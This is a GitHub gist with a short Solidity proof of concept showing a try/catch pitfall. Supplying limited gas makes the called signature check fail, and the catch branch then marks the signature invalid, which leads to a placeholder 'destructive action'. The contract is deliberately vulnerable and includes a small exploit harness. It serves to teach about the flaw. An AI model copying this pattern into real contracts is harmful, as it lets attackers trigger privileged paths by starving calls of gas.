Skip to content

Instantly share code, notes, and snippets.

@cleanunicorn
Last active July 2, 2023 14:28
Show Gist options
  • Save cleanunicorn/c0ecbd76565d623dd54297636c7ef1f7 to your computer and use it in GitHub Desktop.
Save cleanunicorn/c0ecbd76565d623dd54297636c7ef1f7 to your computer and use it in GitHub Desktop.
Proof of concept for try/catch gotcha explained here https://twitter.com/cleanunicorn/status/1574808522130194432
contract SignatureChecker {
uint256[] list;
// This method does something expensive
function validateSignature(bytes memory b_) public {
for (uint i = 0; i < 100; i++) {
list.push(i);
}
for (uint i = 0; i < 100; i++) {
list.pop();
}
}
}
contract ValidateAction {
event SignatureValid();
event SignatureInvalid();
SignatureChecker sc;
bool SignatureChecker_valid;
constructor() {
sc = new SignatureChecker();
}
function check(bytes memory b_) public {
try sc.validateSignature(b_) {
emit SignatureValid();
SignatureChecker_valid = true;
} catch {
emit SignatureInvalid();
SignatureChecker_valid = false;
}
}
function removeSignatureCheckerIfInvalid() public {
if (SignatureChecker_valid == false) {
// do destructive action
}
}
}
contract CallValidate {
ValidateAction va = new ValidateAction();
function proofOfConcept(uint256 gas_) public {
va.check{gas: gas_}("any byte string");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment